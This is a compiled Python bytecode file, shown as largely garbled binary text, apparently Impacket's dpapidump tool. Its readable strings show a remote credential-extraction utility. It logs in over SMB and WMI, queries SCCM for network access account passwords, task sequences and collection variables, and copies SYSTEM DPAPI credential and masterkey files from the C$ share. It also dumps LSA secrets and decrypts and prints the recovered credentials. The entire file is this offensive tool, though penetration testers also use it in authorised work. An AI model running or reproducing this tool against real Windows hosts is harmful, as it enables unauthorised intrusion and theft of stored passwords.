o àý°j?aã @sæddlmZddlmZddlZddlZddlZddlZddlZddlZddl Z ddl m Z m Z ddl mZddlmZddlmZddlmZdd lmZdd lmZdd lmZmZdd lmZdd lmZm Z ddl!m"Z"ddl#m$Z$m%Z%m&Z&m'Z'm(Z(ddl)m*Z*ddl+m,Z,m-Z-ddl.m/Z/Gdd„dƒZ0e1dkrqej2j3dur­e 4d¡ej2ƒe_2e5ej6ƒej7dddZ8e8j9dddde8j9dddde8j9d d!d"de8j9d#d!d$de8j9d%dd&de8j9d'dd(de8j9d)d!d*d+d,e8j9d-d!d.de8j9d/d!d0de:d1e8 ;d2¡ZdeƒdKkrge8 ?¡e @dK¡e8 A¡ZBe CeBjD¡eBjEdur‡e F¡ GejH¡e Ee I¡¡ne F¡ GejJ¡eeBjKƒ\ZLZMZNZOeBjPdur¡eOeB_PeLdur¨dLZLeNdLkrÎeMdLkrÎeBjQdurÎeBjRdMurÎeBjSdurÎddNlTmTZTeTdOƒZNeBjSdur×deB_UeBjVdurée/ WeBjVeMeLeB¡deB_UeBjQdurøeBjQ XdP¡\ZYZZndLZYdLZZeBj[dur+zeBj[ XdQ¡\Z\Z]e ^e:e\ƒe:e]ƒ¡Wne_y*e `dR¡e @dK¡YnweBjadMuo5eBjbdMueB_ce0eOeMeNeLeBƒZdzed e¡WdSe_ypZfze F¡jgejHkr`ddlhZheh i¡e `ef¡WYdZf[fdSdZf[fwwdS)Sé)Údivision)Úprint_functionN)Ú unhexlifyÚhexlify)ÚBytesIO)Úversion)Úlogger)Ú parse_target)ÚNULL)Úwmi)ÚDCOMConnectionÚ COMVERSION)ÚDCERPCSessionError)ÚRPC_C_AUTHN_LEVEL_PKT_PRIVACYÚRPC_C_AUTHN_LEVEL_PKT_INTEGRITY)Ú SMBConnection)Ú MasterKeyFileÚ MasterKeyÚCredentialFileÚ DPAPI_BLOBÚCREDENTIAL_BLOB)Ú bin_to_string)ÚRemoteOperationsÚ LSASecrets)ÚKeytabc@sVeZdZddd„Zdd„Zdd„Zd d „Zd d „Zd d„Zdd„Z dd„Z dd„Z dS)Ú DumpCredsÚNcCsæ||_|j|_||_||_||_d|_d|_|j|_ d|_ |j |_ d|_ d|_|j|_|j|_|jdu|_|j|_||_d|_g|_i|_i|_i|_g|_|jpS|j|_|jpZ|j |_!|j"|_#|j$durq|j$ %d¡\|_|_dSdS)Nrú:)&Ú_DumpCreds__remoteNameÚ target_ipÚ_DumpCreds__remoteHostÚ_DumpCreds__usernameÚ_DumpCreds__passwordÚ_DumpCreds__domainÚ_DumpCreds__lmhashÚ_DumpCreds__nthashÚaesKeyÚ_DumpCreds__aesKeyÚ_DumpCreds__smbConnectionÚbootkeyÚ_DumpCreds__bootkeyÚ_DumpCreds__remoteOpsÚ_DumpCreds__LSASecretsÚuserkeyÚ_DumpCreds__userkeyÚkÚ_DumpCreds__doKerberosÚ_DumpCreds__dumpLSAÚdc_ipÚ_DumpCreds__kdcHostÚ_DumpCreds__optionsÚkeyÚ sccm_secretsÚraw_credentialsÚraw_masterkeysÚ masterkeysÚ required_mksÚallÚsccmÚget_sccmÚcredsÚ get_credsÚthrottleÚ_DumpCreds__throttleÚhashesÚsplit)ÚselfÚ remoteNameÚusernameÚpasswordÚdomainÚoptions©rJú‰/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/dpapidump.pyÚ__init__3s:  ÿzDumpCreds.__init__c Csbt|j|jƒ|_|jr |j |j|j|j|j |j |j |j ¡dS|j  |j|j|j|j |j ¡dS©N)rrr r(r0Ú kerberosLoginr!r"r#r$r%r'r3Úlogin©rDrJrJrKÚconnectRs  ÿ"zDumpCreds.connectcCs@| d¡r| d¡\}}| d¡d}t|dd…ƒ|_dSdS)Nzdpapi_machinekey:Ú réé)Ú startswithrCrr5)rDÚ secretTypeÚsecretÚ machineKeyÚuserKeyrJrJrKÚgetDPAPI_SYSTEMZs ýzDumpCreds.getDPAPI_SYSTEMcCsLd}ztƒ}t ||¡}|j |||j¡| ¡}| ¡W|SYdSrM)rÚntpathÚjoinr(ÚgetFileÚwriteÚgetvalueÚclose)rDÚshareÚpathÚfilenameÚcontentÚfhÚfilepathrJrJrKÚgetFileContent`s  þzDumpCreds.getFileContentcCsDt|dƒ}|j |d¡}|durt d|›¡dS| |¡}|S)NÚ GuidMasterKeyúCould not decrypt masterkey )rr9ÚgetÚloggingÚinfoÚdecrypt)rDÚblobÚmkidr5Ú decryptedrJrJrKÚ decryptBlobls  zDumpCreds.decryptBlobcCs*t|dƒ}||jvr|j |¡dSdS)Nrh)rr:Úappend)rDrnrorJrJrKÚdecideBlobMasterkeyus  ÿzDumpCreds.decideBlobMasterkeyc Csd} zÐ| dd¡d}| ¡}d|vred|vre| di¡ dd¡}| di¡ dd¡}ttt ||¡ d¡ƒd d…ƒ}ttt ||¡ d¡ƒd d…ƒ}d ||ii} |j  | ¡|  |¡|  |¡nmd |vr”| d i¡ dd¡} ttt || ¡ d¡ƒd d…ƒ} d | i} |  | ¡|j  | ¡n>d |vrÒd |vrÒ| d i¡ dd¡} | d i¡ dd¡} ttt || ¡ d¡ƒd d…ƒ}d| |ii} |  |¡|j  | ¡Wn.t y}z!t   ¡jt jkrìddl}| ¡t|ƒ d¡dkrö‚WYd}~dSd}~wwq)NzA<\/PolicySecret>TlÿÿrSrÚNetworkAccessUsernameÚNetworkAccessPasswordÚvalueéÚNAA_CredentialsÚ TS_SequenceÚNameÚValueúCollection VariableÚS_FALSE)ÚNextÚ getPropertiesrjrrÚreÚmatchÚgroupr6rrrsÚ ExceptionrkÚ getLoggerÚlevelÚDEBUGÚ tracebackÚ print_excÚstrÚfind)rDÚiEnumÚregexÚpEnumÚrecordÚ unparsed_network_access_usernameÚ unparsed_network_access_passwordÚ username_blobÚ password_blobÚitemÚunparsed_task_sequenceÚtask_sequence_blobÚcollection_nameÚunparsed_collection_valueÚcollection_value_blobÚer‡rJrJrKÚaddPolicySecretzsL""    " "   €€ùæzDumpCreds.addPolicySecretc+CsŠ |jrddg}gd¢}z«t d¡|D]¡}|D]œ}t d|›d|›d¡t|j|j|j|j|j|j |j d|j |j |j d }| tjtj¡}t |¡}z | |tt¡}Wn)ty~} z| ¡| ¡| jd krk‚t d |›¡WYd} ~ n;d} ~ ww|jjd kr| ¡ t¡n |jjd krš| ¡ t¡| ¡| |¡} |  | ¡|  ¡| ¡| ¡qqWn=t!yô} z1t "t#| ƒ¡t$| ƒtjur×| jd kr×t "d¡z|  ¡| ¡| ¡WnYWYd} ~ nd} ~ wwt%|j&ƒdkrt d¡nt dt#t%|j&ƒƒd¡zd} z€z| '¡Wn,t!yI} zt( )d¡dur>|j dur>t *dt#| ƒ¡n‚WYd} ~ nd} ~ wwd} ddg} d}|j+r| D]l}z |j, -| t. /|d¡¡}Wnt!yzt d|›¡YqXw|D]E}| 0¡dkrÁ| 1¡}d|vr‘q}t. /||¡}t d|›¡t d|›¡| 2| ||¡}|r¸||j3|<q}t d|d¡q}qXg}|j3 4¡D]B\}}t5|ƒ}t6|d ƒ}t7|d!ƒ}||j8vr÷t d"|¡| 2| ||¡|j8|<|j8|dur t d#|›d$¡| 9|¡qÌ|D]}|j3|=q|j:D],}||j8vr6t d"|›¡| 2| ||¡|j8|<|j8|durGt d#|›d¡qt%|j3ƒdkrft%|j&ƒdkrft d%¡| ;¡WWdS|j|j> ?¡|j@s…|j> A¡} ntB|j@ƒ} n tB|j|jK|jLd)|_M|jM N¡t d*tO|jCƒ Pd+¡¡Wn-t!y} z t E¡jFtjGkr ddlH}| I¡t "d,t#| ƒ¡WYd} ~ nd} ~ ww| ;¡Wn6t!tQfyZ} z't E¡jFtjGkr@ddlH}| I¡t "| ¡z| ;¡WnYWYd} ~ nd} ~ ww|jCdurht "d-¡dS|j8 4¡D]j\}}|dur}d|jR|<qm|}tS|ƒ}|t%|ƒd…}|d.dkst "d/|d0¡qmtT|d|d.…ƒ}|t%|ƒd…}| U|jC¡}|sÁt "d1|¡qmt d2|d3tO|ƒ Pd+¡¡||jR|<qm|j&D]‘}tV| W¡ƒd} | d4kr|| }!tV|! W¡ƒd}"| X|"¡}#| X|!|"¡}$|#r |# Pd5¡}#|$r|$ Pd5¡}$t d6|#›d7|$›¡qÛ| d8kr@| X|| ¡}%|%r>|% Pd5¡ Yd9¡}%t d:|%›¡qÛ| d;krk|| }&tV|& W¡ƒd}'| X|&|'¡}(|(r`|( Pd5¡}(t d<|'›d7|(›¡qÛ|j3 4¡D]P\}}t5|ƒ}t6|d ƒ}t7|d!ƒ}|jR Z|d¡})|)durŸt d1|d=|¡qrt d>|¡| U|)¡}%|%durºt[|%ƒ}*|* \¡qrt "d?|¡qrdS)@Nz'root\ccm\Policy\Machine\RequestedConfigz$root\ccm\Policy\Machine\ActualConfig)zQSELECT NetworkAccessUsername, NetworkAccessPassword FROM CCM_NetworkAccessAccountz(SELECT TS_Sequence FROM CCM_TaskSequencez.SELECT Name, Value FROM CCM_CollectionVariablez#Querying SCCM configuration via WMIzWMI namespace z query 'ú'T)Ú oxidResolverÚ doKerberosÚkdcHostÚ remoteHostlzInvalid WMI namespace ÚprivacyÚ integrityzZCCM namespace not found, this usually means there is no SCCM configuration on the machine.rzNo SCCM secrets foundzGot z SCCM secrets.Ú KRB5CCNAMEz9SMBConnection didn't work, hoping Kerberos will help (%s)zC$zK\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\zM\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Credentials\z2\Windows\System32\Microsoft\Protect\S-1-5-18\User\Ú*zNo credentials file found in Ú DFBE70A7E5CC19A398EBF1B96859CE5DzCredential file found: zRetrieving credential file: z*Could not get content of credential file: z , skippingÚDatarhzRetrieving masterkey file: z)Could not get content of masterkey file: z skippingzNothing to decrypt, quittingrTFzRemoteOperations failed: %s)r@ÚperSecretCallbackzdpapi_userkey: 0xzutf-8z LSA hashes extraction failed: %szCould not get SYSTEM userkeyÚ MasterKeyLenzMasterkey file z does not contain a masterkeyrizDecrypted masterkey z: 0xrxzutf-16lez[NAA Credentials] rryz z[Task_Sequence] r|z[Collection Variable] z, skipping credential zDecrypting credential z"Could not decrypt credential file )]r=rkrlr rr!r"r#r$r%r'r0r3r ÚCoCreateInstanceExr ÚCLSID_WbemLevel1LoginÚIID_IWbemLevel1LoginÚIWbemLevel1LoginÚ NTLMLoginr rÚ RemReleaseÚ disconnectÚ error_coder4Úrpc_auth_levelÚ get_dce_rpcÚset_auth_levelrrÚ ExecQueryršrƒÚerrorr‰ÚtypeÚlenr6rQÚosÚgetenvÚdebugr?r(ÚlistPathr[r\Ú is_directoryÚ get_longnamergr7Úitemsrrrr8rrr:Úcleanupr.rr+ÚenableRegistryr*Ú getBootKeyrr5r1r„r…r†r‡rˆrrArZr,Ú dumpSecretsrÚdecodeÚKeyboardInterruptr9rrrmÚlistÚkeysrqÚrstriprjrÚdump)+rDÚ namespacesÚqueriesÚ namespaceÚqueryÚdcomÚ iInterfaceÚiWbemLevel1LoginÚ iWbemServicesr™r‹ÚbootKeyraÚ cred_pathsÚmk_pathÚ cred_pathÚfilesÚfrcÚcredential_pathÚdataÚuseless_credentialsr/ÚvÚcredrnror‡ÚmkfÚmkÚ decryptedKeyrWÚ secret_typeÚ credentialsrFÚusername_decryptedÚpassword_decryptedrpÚ col_variableÚnamervr5r>rJrJrKrÇ sÂÿ  ý  €ø     €ß"  €÷   þ€ú þþ  €ó    €   €      €€ûþ €ü   €ø           €  €      òzDumpCreds.dumpcCs"t d¡|jr|j ¡dSdS)NzCleaning up... )rkrlr+ÚfinishrPrJrJrKr¾”s ÿzDumpCreds.cleanup)rrrN) Ú__name__Ú __module__Ú __qualname__rLrQrZrgrqrsršrÇr¾rJrJrJrKr2s   & urÚ__main__Úutf8TzOPerforms remote extraction of SYSTEM DPAPI credentials and SCCM client secrets.)Úadd_helpÚ descriptionz-credsÚ store_truez4Extract SYSTEM user DPAPI credentials (default: all))ÚactionÚhelpz-sccmz.Extract SCCM client credentials (default: all)z-userkeyÚstorezdpapi_userkey for SYSTEM (e.g. if previously dumped using secretsdump). If not provided an LSA secrets dump will be performed to retrieve it.Útargetz6[[domain/]username[:password]@]z-tsz&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONz -com-versionzMAJOR_VERSION.MINOR_VERSIONzWrong COMVERSION format, use dot separated integers e.g. "5.7")jÚ __future__rrÚargparseÚcodecsrkr·r€Úsysr[ÚbinasciirrÚiorÚimpacketrÚimpacket.examplesrÚimpacket.examples.utilsr Úimpacket.dcerpc.v5.dtypesr Úimpacket.dcerpc.v5.dcomr Úimpacket.dcerpc.v5.dcomrtr r Úimpacket.dcerpc.v5.dcom.wmirÚimpacket.dcerpc.v5.rpcrtrrÚimpacket.smbconnectionrÚimpacket.dpapirrrrrÚ impacket.uuidrÚimpacket.examples.regsecretsrrÚimpacket.krb5.keytabrrråÚstdoutÚencodingÚ getwriterÚprintÚBANNERÚArgumentParserÚparserÚ add_argumentÚintÚadd_argument_groupr‚r¶ÚargvÚ print_helpÚexitÚ parse_argsrIÚinitÚtsr¹r„ÚsetLevelr†ÚgetInstallationPathÚINFOrðrHrFrGÚaddressrrBÚno_passr&rør/ÚkeytabÚloadKeysFromKeytabrCÚlmhashÚnthashÚ com_versionÚ major_versionÚ minor_versionÚset_default_versionrƒr´r<r>r;ÚdumperrÇr™r…r‡rˆrJrJrJrKÚsÊ             j   ÿ  ÿ     8      þ€ü¡